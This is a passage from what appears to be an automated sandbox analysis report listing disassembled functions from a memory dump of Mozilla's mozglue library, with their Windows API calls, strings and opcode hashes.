Part of subcall function 6CEDCA10: malloc.MOZGLUE(?), ref: 6CEDCA26

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 82978d2c85832f90b7f64a5980fef391e1e7d205696a2be6782edcb64e11168a
Instruction ID: 001df1028ea3e5b93e9802129909bdaf288ecc896e050af3a72d8523310c97c0
Opcode Fuzzy Hash: 82978d2c85832f90b7f64a5980fef391e1e7d205696a2be6782edcb64e11168a
Instruction Fuzzy Hash: E341A9B56107009FCB50DF28C488B5ABBF9FB99318F10842DE95A87B42DB70F814CB90

Function 6CF084E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CF084F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CF0850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CF0851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CF0855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CF0856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CF085AC

Part of subcall function 6CF07670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CF085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CF0767F
Part of subcall function 6CF07670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CF085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CF07693
Part of subcall function 6CF07670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CF085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CF076A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CF085B2

Part of subcall function 6CEE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CEE5EDB
Part of subcall function 6CEE5E90: memset.VCRUNTIME140(6CF27765,000000E5,55CCCCCC), ref: 6CEE5F27
Part of subcall function 6CEE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CEE5FB2

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 1bc1690c4f8c11abf3e26db549b20f6545aa4a8986d08807d0d0704b532c0850
Instruction ID: 1aee04ce68799f379c5a7c42e4f51c910ea3b9005b52d75763e637a08e97d62b
Opcode Fuzzy Hash: 1bc1690c4f8c11abf3e26db549b20f6545aa4a8986d08807d0d0704b532c0850
Instruction Fuzzy Hash: BA219C757006018FDB24DB28C898B6AB7B5AF9471DF24482DE55BC3B42EB31F948CB51

Function 6CED1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CED1699
VerSetConditionMask.NTDLL ref: 6CED16CB
VerSetConditionMask.NTDLL ref: 6CED16D7
VerSetConditionMask.NTDLL ref: 6CED16DE
VerSetConditionMask.NTDLL ref: 6CED16E5
VerSetConditionMask.NTDLL ref: 6CED16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CED16F9

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: e52f32f0846157e8cd8b64ff92ebad2682239282a0db00b2508606784b1097a4
Instruction ID: 702112b9445bed0c56f7dbff8778b0743fd50374a8f678bcd9ea5c1425170815
Opcode Fuzzy Hash: e52f32f0846157e8cd8b64ff92ebad2682239282a0db00b2508606784b1097a4
Instruction Fuzzy Hash: B521D5B0B402086FEB106A688C45FBBB37CDF96714F018528F6099B5C2C678AD55C7A1

Function 6CF0F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEFCBE8: GetCurrentProcess.KERNEL32(?,6CEC31A7), ref: 6CEFCBF1
Part of subcall function 6CEFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CEC31A7), ref: 6CEFCBFA

Part of subcall function 6CF09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CED4A68), ref: 6CF0945E
Part of subcall function 6CF09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF09470
Part of subcall function 6CF09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF09482
Part of subcall function 6CF09420: __Init_thread_footer.LIBCMT ref: 6CF0949F

GetCurrentThreadId.KERNEL32 ref: 6CF0F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CF0F598), ref: 6CF0F621

Part of subcall function 6CF094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CF094EE
Part of subcall function 6CF094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CF09508

GetCurrentThreadId.KERNEL32 ref: 6CF0F637
AcquireSRWLockExclusive.KERNEL32(6CF4F4B8,?,?,00000000,?,6CF0F598), ref: 6CF0F645
ReleaseSRWLockExclusive.KERNEL32(6CF4F4B8,?,?,00000000,?,6CF0F598), ref: 6CF0F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CF0F62A

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 742a2d7d14315502bdb3d274d37ca092d29abb68bc9d7d2dcf62c654e2609086
Instruction ID: e649eb2598838bb7310363e3e8dbe4db242e397f4dcee4ea3144849637111fc8
Opcode Fuzzy Hash: 742a2d7d14315502bdb3d274d37ca092d29abb68bc9d7d2dcf62c654e2609086
Instruction Fuzzy Hash: F2112375710601ABCBC4BF58C818EEA7B79FB8676CF504415EA0983F03DB32A811CBA4

Function 6CED0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEFAB89: EnterCriticalSection.KERNEL32(6CF4E370,?,?,?,6CEC34DE,6CF4F6CC,?,?,?,?,?,?,?,6CEC3284), ref: 6CEFAB94
Part of subcall function 6CEFAB89: LeaveCriticalSection.KERNEL32(6CF4E370,?,6CEC34DE,6CF4F6CC,?,?,?,?,?,?,?,6CEC3284,?,?,6CEE56F6), ref: 6CEFABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CEFD9F0,00000000), ref: 6CED0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CED0F3C
__Init_thread_footer.LIBCMT ref: 6CED0F50
FreeLibrary.KERNEL32(?,6CEFD9F0,00000000), ref: 6CED0F86

Strings

CoInitializeEx, xrefs: 6CED0F36
combase.dll, xrefs: 6CED0F18

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 81c91e6b6fdf4e84d53e36bc48bdee2f3d3df0d416a42af83dc4875d1ef1fde2
Instruction ID: 0a6fb41a9d3cab5f993f7aff2104384f951643d6eeead1fb977a8f5badf47dd4
Opcode Fuzzy Hash: 81c91e6b6fdf4e84d53e36bc48bdee2f3d3df0d416a42af83dc4875d1ef1fde2
Instruction Fuzzy Hash: 7C119174A152409BDFC0EF58CD08F8A3B74EB9A32EF268619E909D2743D734A402CE56

Function 6CF0F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CED4A68), ref: 6CF0945E
Part of subcall function 6CF09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF09470
Part of subcall function 6CF09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF09482
Part of subcall function 6CF09420: __Init_thread_footer.LIBCMT ref: 6CF0949F

GetCurrentThreadId.KERNEL32 ref: 6CF0F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF0F561

Part of subcall function 6CF094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CF094EE
Part of subcall function 6CF094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CF09508

GetCurrentThreadId.KERNEL32 ref: 6CF0F577
AcquireSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CF0F585
ReleaseSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CF0F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6CF0F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CF0F56A
[I %d/%d] profiler_resume, xrefs: 6CF0F239
[I %d/%d] profiler_resume_sampling, xrefs: 6CF0F499

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3830cfe9e074a0e3ced0b9d55ed168eaa5ea125761cf448f3f774b3b9448e326
Instruction ID: 4a1d41ba0a86cd84a3e11befed07d77ec0e9f627b49405671775b5a208fe80de
Opcode Fuzzy Hash: 3830cfe9e074a0e3ced0b9d55ed168eaa5ea125761cf448f3f774b3b9448e326
Instruction Fuzzy Hash: BBF0B475B106009BDA807B65D848FAE7B7CEB9666DF008411EA0983703DF7148058764

Function 6CED0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CED0DF8), ref: 6CED0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CED0EA1
__Init_thread_footer.LIBCMT ref: 6CED0EB5
FreeLibrary.KERNEL32 ref: 6CED0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6CED0E9B
kernel32.dll, xrefs: 6CED0E7D

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 48af093889d80ecfdecf302c6252cf2b9a75dda9a60db8bc9d67427dd65e9427
Instruction ID: 7c9a684f64432b7c919ab07f990de2b763e3c58a115366ac1d686083501d2c62
Opcode Fuzzy Hash: 48af093889d80ecfdecf302c6252cf2b9a75dda9a60db8bc9d67427dd65e9427
Instruction Fuzzy Hash: A6012C74F503828BEFC0AF98C814B4677B5E75731DF25A915991982F42D739B8068A11

Function 6CF005F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CEFCFAE,?,?,?,6CEC31A7), ref: 6CF005FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CEFCFAE,?,?,?,6CEC31A7), ref: 6CF00616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CEC31A7), ref: 6CF0061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CEC31A7), ref: 6CF00627

Strings

<jemalloc>, xrefs: 6CF005FA, 6CF0060F
: (malloc) Error in VirtualFree(), xrefs: 6CF0061B, 6CF00625

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 378e5864b6e580553c6c7f3a1979d50ec95351529e56ce45359a5ba5f3fbdd8e
Instruction ID: 1662982174f8f7c840722a82253317e73158cfdfce1804803b28a6f026b9914e
Opcode Fuzzy Hash: 378e5864b6e580553c6c7f3a1979d50ec95351529e56ce45359a5ba5f3fbdd8e
Instruction Fuzzy Hash: DAE08CE2A0202037F6142256AC86EBB761CDBC6138F180139FD0D86302E94AAD1A51F6

Function 6CED05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95a2a3b5b917f6f70686d47835fea7b8e9451c720fb4be063d7b1ac4472df89c
Instruction ID: eacb1dd9e4d2d8f87d68f63a30c9bc6c01c4949af7164915e34246dd3fd9b862
Opcode Fuzzy Hash: 95a2a3b5b917f6f70686d47835fea7b8e9451c720fb4be063d7b1ac4472df89c
Instruction Fuzzy Hash: A4A13774A007058FDB24CF29C584B9AFBF1BB49308F55866ED45A9BB01E730B946CF90

Function 6CF214A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CF214C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CF214E2
GetCurrentThreadId.KERNEL32 ref: 6CF21546
InitializeConditionVariable.KERNEL32(?), ref: 6CF215BA
free.MOZGLUE(?), ref: 6CF216B4

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: b66b1502206430fd1abe3fd27f025d0d1dc3eeff0103dd7c52904b2dd0a4249f
Instruction ID: a2a1a4a5821dcbfbf5b89ae7178ba492550708de00c737ce090866e03dd35e29
Opcode Fuzzy Hash: b66b1502206430fd1abe3fd27f025d0d1dc3eeff0103dd7c52904b2dd0a4249f
Instruction Fuzzy Hash: 38610332A017449BDB21DF64C880BDEBBB1BF89308F44851CED8A57712DB36E949CB95

Function 6CF1DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CF1DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CF1D38A,?), ref: 6CF1DC6F
free.MOZGLUE(?,?,?,?,?,6CF1D38A,?), ref: 6CF1DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CF1D38A,?), ref: 6CF1DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CF1D38A,?), ref: 6CF1DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CF1D38A,?), ref: 6CF1DD4A

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 18b80318dbb5a2391f33b42b8267ca7d340c4e96cee93cbd941f6ef847adf113
Instruction ID: aab87bbf18c98048c1723a2004833f99c99b05ab088007506acb156fcedfdba2
Opcode Fuzzy Hash: 18b80318dbb5a2391f33b42b8267ca7d340c4e96cee93cbd941f6ef847adf113
Instruction Fuzzy Hash: 90418BB5A04605CFCB00CFA9C880A9AB7F5FF8C318B254569D945ABB11D731FC00CB90

Function 6CF06590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CEFFA80: GetCurrentThreadId.KERNEL32 ref: 6CEFFA8D
Part of subcall function 6CEFFA80: AcquireSRWLockExclusive.KERNEL32(6CF4F448), ref: 6CEFFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF06727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CF067C8

Part of subcall function 6CF14290: memcpy.VCRUNTIME140(?,?,6CF22003,6CF20AD9,?,6CF20AD9,00000000,?,6CF20AD9,?,00000004,?,6CF21A62,?,6CF22003,?), ref: 6CF142C4

Strings

data, xrefs: 6CF06593

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 4a32210765d61482832d529354575c4b7955846d29a2aeeeb23fee6d925d6bd6
Instruction ID: c41407da5c23b5aa9f9215c9a2dbc35e0a966085ee8779a67ff5c52888606371
Opcode Fuzzy Hash: 4a32210765d61482832d529354575c4b7955846d29a2aeeeb23fee6d925d6bd6
Instruction Fuzzy Hash: 3FD1BE75B183408BD724DF24C851B9BBBF5AFC5708F10892DE589C7B91EB70A849CB92

Function 6CEFF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CEFF480

Part of subcall function 6CECF100: LoadLibraryW.KERNEL32(shell32,?,6CF3D020), ref: 6CECF122
Part of subcall function 6CECF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CECF132

CloseHandle.KERNEL32(00000000), ref: 6CEFF555

Part of subcall function 6CED14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CED1248,6CED1248,?), ref: 6CED14C9
Part of subcall function 6CED14B0: memcpy.VCRUNTIME140(?,6CED1248,00000000,?,6CED1248,?), ref: 6CED14EF

Part of subcall function 6CECEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CECEEE3

CreateFileW.KERNEL32 ref: 6CEFF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CEFF523

Strings

\oleacc.dll, xrefs: 6CEFF4CB

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: ba6bd40e636e1ece39f9402d6ada57bc6ec5a8c31318083ad6d1646aeeca668f
Instruction ID: dda96a6d815c0b6da4b1714c03dbac4268fc2ec4e89ab849a774d85ad6d817e7
Opcode Fuzzy Hash: ba6bd40e636e1ece39f9402d6ada57bc6ec5a8c31318083ad6d1646aeeca668f
Instruction Fuzzy Hash: F941F6306187109FE721DF68C840B9BB7F4AF8431CF604A1CF5A083650EB34D94ACB92

Function 6CF274A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CF27526
__Init_thread_footer.LIBCMT ref: 6CF27566
__Init_thread_footer.LIBCMT ref: 6CF27597

Strings

UnmapViewOfFile2, xrefs: 6CF27552
kernel32.dll, xrefs: 6CF27557

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: fb0bd08471b2ba1dfa7e543da36fdc40be34949bd60340f71cc974294810c5da
Instruction ID: f08337c1d08368de76e3fee995d479309d1195b3da71e96cc255014b21f899e3
Opcode Fuzzy Hash: fb0bd08471b2ba1dfa7e543da36fdc40be34949bd60340f71cc974294810c5da
Instruction Fuzzy Hash: D9213732B50501E7CB549FE8C815F9B7B75EB8632DF11852ED80987B41D73DA802C695

Function 6CF2C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CF2C0E9), ref: 6CF2C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CF2C437
FreeLibrary.KERNEL32(?,6CF2C0E9), ref: 6CF2C44C

Strings

NtQueryVirtualMemory, xrefs: 6CF2C431
ntdll.dll, xrefs: 6CF2C413

Memory Dump Source

